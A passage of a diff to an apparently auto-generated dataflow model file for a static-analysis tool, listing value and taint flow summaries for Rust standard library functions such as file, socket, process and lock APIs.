"Argument[self].Field[crate::io::stdio::Stdout::inner]", "ReturnValue.Field[crate::io::stdio::StdoutLock::inner].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::net::tcp::TcpListener(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::net::tcp::TcpListener(0)]", "value", "dfc-generated"] @@ -259,11 +247,36 @@ extensions: - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::net::udp::UdpSocket(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_fd", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[crate::os::linux::process::PidFd::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::os::linux::process::PidFd::inner]", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::os::linux::process::PidFd::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::os::unix::net::addr::SocketAddr::addr]", "value", "dfc-generated"] - ["lang:std", "::from_parts", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::os::unix::net::addr::SocketAddr::len]", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::next", "Argument[self].Field[crate::os::unix::net::ancillary::AncillaryDataIter::data].Element", "Argument[self].Field[crate::os::unix::net::ancillary::AncillaryDataIter::data].Reference", "value", "dfc-generated"] + - ["lang:std", "::next", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::next", "Argument[self].Field[crate::os::unix::net::ancillary::ScmRights(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::len", "Argument[self].Field[crate::os::unix::net::ancillary::SocketAncillary::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::messages", "Argument[self].Field[crate::os::unix::net::ancillary::SocketAncillary::buffer].Element", "ReturnValue.Field[crate::os::unix::net::ancillary::Messages::buffer].Reference", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::os::unix::net::ancillary::SocketAncillary::buffer]", "value", "dfc-generated"] + - ["lang:std", "::truncated", "Argument[self].Field[crate::os::unix::net::ancillary::SocketAncillary::truncated]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_gid", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_gid", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_pid", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_pid", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_uid", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_uid", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::set_gid", "Argument[0]", "Argument[self].Field[0]", "value", "dfc-generated"] + - ["lang:std", "::set_gid", "Argument[0]", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "value", "dfc-generated"] + - ["lang:std", "::set_pid", "Argument[0]", "Argument[self].Field[0]", "value", "dfc-generated"] + - ["lang:std", "::set_pid", "Argument[0]", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "value", "dfc-generated"] + - ["lang:std", "::set_uid", "Argument[0]", "Argument[self].Field[0]", "value", "dfc-generated"] + - ["lang:std", "::set_uid", "Argument[0]", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::os::unix::net::datagram::UnixDatagram(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::incoming", "Argument[self]", "ReturnValue.Field[crate::os::unix::net::listener::Incoming::listener]", "value", "dfc-generated"] + - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::os::unix::net::stream::UnixStream(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::can_unwind", "Argument[self].Field[crate::panic::PanicHookInfo::can_unwind]", "ReturnValue", "value", "dfc-generated"] @@ -286,7 +299,9 @@ extensions: - ["lang:std", "::as_mut_os_str", "Argument[self].Field[crate::path::Path::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_os_str", "Argument[self].Field[crate::path::Path::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::display", "Argument[self].Field[crate::path::Path::inner]", "ReturnValue.Field[crate::path::Display::inner].Field[crate::ffi::os_str::Display::os_str]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::path::PathBuf::inner].Field[crate::ffi::os_str::OsString::inner]", "ReturnValue.Field[crate::path::PathBuf::inner].Field[crate::ffi::os_str::OsString::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::path::PathBuf::inner].Reference", "ReturnValue.Field[crate::path::PathBuf::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::path::PathBuf::inner]", "ReturnValue.Field[crate::path::PathBuf::inner]", "value", "dfc-generated"] - ["lang:std", "::as_ref", "Argument[self].Field[crate::path::PathBuf::inner].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::path::PathBuf::inner].Field[crate::path::PathBuf::inner]", "ReturnValue.Field[crate::path::PathBuf::inner]", "value", "dfc-generated"] @@ -300,6 +315,8 @@ extensions: - ["lang:std", "::into_os_string", "Argument[self].Field[crate::path::PathBuf::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_os_str", "Argument[self].Field[crate::path::PrefixComponent::raw]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::kind", "Argument[self].Field[crate::path::PrefixComponent::parsed]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::into_pidfd", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::process::Child::handle]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0].Field[0]", "ReturnValue.Field[crate::process::Child::handle]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::process::Child::handle]", "ReturnValue", "value", "dfc-generated"] @@ -315,6 +332,7 @@ extensions: - ["lang:std", "::as_inner", "Argument[self].Field[crate::process::ChildStdout::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::process::ChildStdout::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::process::ChildStdout::inner]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::create_pidfd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::arg0", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::gid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::groups", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -338,9 +356,12 @@ extensions: - ["lang:std", "::as_inner", "Argument[self].Field[crate::process::ExitCode(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::process::ExitCode(0)]", "value", "dfc-generated"] - ["lang:std", "::to_i32", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::signal", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::stopped_signal", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::process::ExitStatus(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::process::ExitStatus(0)]", "value", "dfc-generated"] + - ["lang:std", "::code", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::process::Stdio(0)]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::barrier::Barrier::num_threads]", "value", "dfc-generated"] - ["lang:std", "::is_leader", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] @@ -356,6 +377,8 @@ extensions: - ["lang:std", "::acquire", "Argument[self].Field[crate::sync::mpmc::counter::Receiver::counter]", "ReturnValue.Field[crate::sync::mpmc::counter::Receiver::counter]", "value", "dfc-generated"] - ["lang:std", "::acquire", "Argument[self].Field[crate::sync::mpmc::counter::Sender::counter]", "ReturnValue.Field[crate::sync::mpmc::counter::Sender::counter]", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::sync::mpsc::SendError(0)]", "ReturnValue.Field[crate::sync::mpmc::error::SendTimeoutError::Disconnected(0)]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::write", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::hook", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sync::mpmc::select::Selected::Operation(0)].Field[crate::sync::mpmc::select::Operation(0)]", "value", "dfc-generated"] @@ -369,21 +392,28 @@ extensions: - ["lang:std", "::write", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::iter", "Argument[self]", "ReturnValue.Field[crate::sync::mpsc::Iter::rx]", "value", "dfc-generated"] - ["lang:std", "::try_iter", "Argument[self]", "ReturnValue.Field[crate::sync::mpsc::TryIter::rx]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::Sender::inner].Reference", "ReturnValue.Field[crate::sync::mpsc::Sender::inner]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::Sender::inner]", "ReturnValue.Field[crate::sync::mpsc::Sender::inner].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::Sender::inner]", "ReturnValue.Field[crate::sync::mpsc::Sender::inner]", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::SyncSender::inner].Reference", "ReturnValue.Field[crate::sync::mpsc::SyncSender::inner]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::SyncSender::inner]", "ReturnValue.Field[crate::sync::mpsc::SyncSender::inner].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sync::mpsc::SyncSender::inner]", "ReturnValue.Field[crate::sync::mpsc::SyncSender::inner]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::sync::mpsc::SendError(0)]", "ReturnValue.Field[crate::sync::mpsc::TrySendError::Disconnected(0)]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::get_mut", "Argument[self].Field[crate::sync::poison::PoisonError::data]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::get_ref", "Argument[self].Field[crate::sync::poison::PoisonError::data]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::PoisonError::data]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sync::poison::TryLockError::Poisoned(0)]", "value", "dfc-generated"] - ["lang:std", "::cause", "Argument[self].Reference.Field[crate::sync::poison::TryLockError::Poisoned(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::wait", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::wait", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::wait_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]", "value", "dfc-generated"] @@ -394,28 +424,41 @@ extensions: - ["lang:std", "::wait_while", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::timed_out", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::timed_out", "Argument[self].Field[crate::sync::poison::condvar::WaitTimeoutResult(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:std", "::get_mut", "Argument[self].Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::lock", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::poison::mutex::MutexGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:std", "::replace", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] + - ["lang:std", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::poison::mutex::MutexGuard::lock]", "value", "dfc-generated"] + - ["lang:std", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::sync::poison::mutex::MutexGuard::lock]", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - - ["lang:std", "::is_poisoned", "Argument[self].Field[crate::sync::poison::once::OnceState::inner].Field[crate::sys::sync::once::queue::OnceState::poisoned]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::is_poisoned", "Argument[self].Field[crate::sync::poison::once::OnceState::inner].Field[crate::sys::sync::once::futex::OnceState::poisoned]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:std", "::get_mut", "Argument[self].Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:std", "::read", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::replace", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] - ["lang:std", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::poison::PoisonError::data]", "value", "dfc-generated"] + - ["lang:std", "::try_read", "Argument[self].Field[crate::sync::poison::rwlock::RwLock::inner]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock].Reference", "value", "dfc-generated"] + - ["lang:std", "::try_write", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock]", "value", "dfc-generated"] + - ["lang:std", "::try_write", "Argument[self]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::write", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock]", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::downgrade", "Argument[0].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock].Field[crate::sync::poison::rwlock::RwLock::inner]", "ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock].Reference", "value", "dfc-generated"] + - ["lang:std", "::map", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "::get_mut", "Argument[self].Field[crate::sync::reentrant_lock::ReentrantLock::data]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sync::reentrant_lock::ReentrantLock::data]", "ReturnValue", "value", "dfc-generated"] @@ -423,6 +466,39 @@ extensions: - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::reentrant_lock::ReentrantLock::data]", "value", "dfc-generated"] - ["lang:std", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::deref", "Argument[self].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock].Field[crate::sync::reentrant_lock::ReentrantLock::data]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::set_mode", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:std", "::ino", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::fs::unix::File(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::as_inner_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::as_inner_mut", "Argument[self].Field[crate::sys::fs::unix::File(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::fs::unix::File(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::fs::unix::FileAttr::stat]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::accessed", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::file_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::modified", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::perm", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::size", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::mode", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::set_accessed", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::FileTimes::accessed].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::set_modified", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::FileTimes::modified].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::append", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::append]", "value", "dfc-generated"] + - ["lang:std", "::create", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::create]", "value", "dfc-generated"] + - ["lang:std", "::create_new", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::create_new]", "value", "dfc-generated"] + - ["lang:std", "::custom_flags", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::custom_flags]", "value", "dfc-generated"] + - ["lang:std", "::mode", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["lang:std", "::read", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::read]", "value", "dfc-generated"] + - ["lang:std", "::truncate", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::truncate]", "value", "dfc-generated"] + - ["lang:std", "::write", "Argument[0]", "Argument[self].Field[crate::sys::fs::unix::OpenOptions::write]", "value", "dfc-generated"] + - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::properties", "Argument[self].Field[1].Reference", "ReturnValue.Field[crate::sys::pal::unix::kernel_copy::CopyParams(0)].Field[crate::sys::pal::unix::kernel_copy::FdMeta::Metadata(0)]", "value", "dfc-generated"] + - ["lang:std", "::properties", "Argument[self].Field[crate::sys::fs::unix::cfm::CachedFileMetadata(1)].Reference", "ReturnValue.Field[crate::sys::pal::unix::kernel_copy::CopyParams(0)].Field[crate::sys::pal::unix::kernel_copy::FdMeta::Metadata(0)]", "value", "dfc-generated"] + - ["lang:std", "::properties", "Argument[self].Field[1].Reference", "ReturnValue.Field[crate::sys::pal::unix::kernel_copy::CopyParams(0)].Field[crate::sys::pal::unix::kernel_copy::FdMeta::Metadata(0)]", "value", "dfc-generated"] + - ["lang:std", "::properties", "Argument[self].Field[crate::sys::fs::unix::cfm::CachedFileMetadata(1)].Reference", "ReturnValue.Field[crate::sys::pal::unix::kernel_copy::CopyParams(0)].Field[crate::sys::pal::unix::kernel_copy::FdMeta::Metadata(0)]", "value", "dfc-generated"] - ["lang:std", "::port", "Argument[self].Field[crate::sys::net::connection::socket::LookupHost::port]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::sys::net::connection::socket::TcpListener::inner]", "value", "dfc-generated"] - ["lang:std", "::bind", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -447,80 +523,31 @@ extensions: - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::net::connection::socket::unix::Socket(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner].Reference", "ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner]", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from_encoded_bytes_unchecked", "Argument[0]", "ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner]", "value", "dfc-generated"] - ["lang:std", "::into_encoded_bytes", "Argument[self].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::as_encoded_bytes", "Argument[self].Field[crate::sys::os_str::bytes::Slice::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::pal::unix::fd::FileDesc(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::pal::unix::fd::FileDesc(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::set_mode", "Argument[0]", "Argument[self]", "taint", "df-generated"] - - ["lang:std", "::ino", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::pal::unix::fs::File(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::as_inner_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::as_inner_mut", "Argument[self].Field[crate::sys::pal::unix::fs::File(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::into_inner", "Argument[self].Field[crate::sys::pal::unix::fs::File(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys::pal::unix::fs::FileAttr::stat]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::file_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", 